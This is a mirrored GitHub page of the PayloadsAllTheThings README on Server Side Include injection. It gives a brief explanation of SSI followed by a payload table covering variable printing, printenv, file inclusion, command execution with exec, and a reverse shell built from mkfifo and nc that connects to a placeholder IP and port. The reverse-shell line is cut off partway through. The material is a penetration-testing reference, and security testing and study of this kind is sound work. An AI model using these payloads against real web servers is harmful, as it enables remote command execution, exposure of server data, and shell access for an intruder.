ch0ic3/PayloadsAllTheThings
1
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-21 11:56:11 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
d90c73c7ef
PayloadsAllTheThings/Server Side Include Injection
History
Swissky b68ce28c4b Open Redirect + SSI Injection
2023-07-08 10:09:59 +02:00
..
README.md Open Redirect + SSI Injection 2023-07-08 10:09:59 +02:00

README.md

Server Side Include Injection

Server Side Includes (SSI) are directives that are placed in HTML pages and evaluated on the server while the pages are being served. They let you add dynamically generated content to an existing HTML page, without having to serve the entire page via a CGI program, or other dynamic technology.

Summary

Payloads

Description Payload
Print a date <!--#echo var="DATE_LOCAL" -->
Print all the variables <!--#printenv -->
Include a file <!--#include file="includefile.html" -->
Execute commands <!--#exec cmd="ls" -->
Doing a reverse shell `<!--#exec cmd="mkfifo /tmp/foo;nc IP PORT 0</tmp/foo

References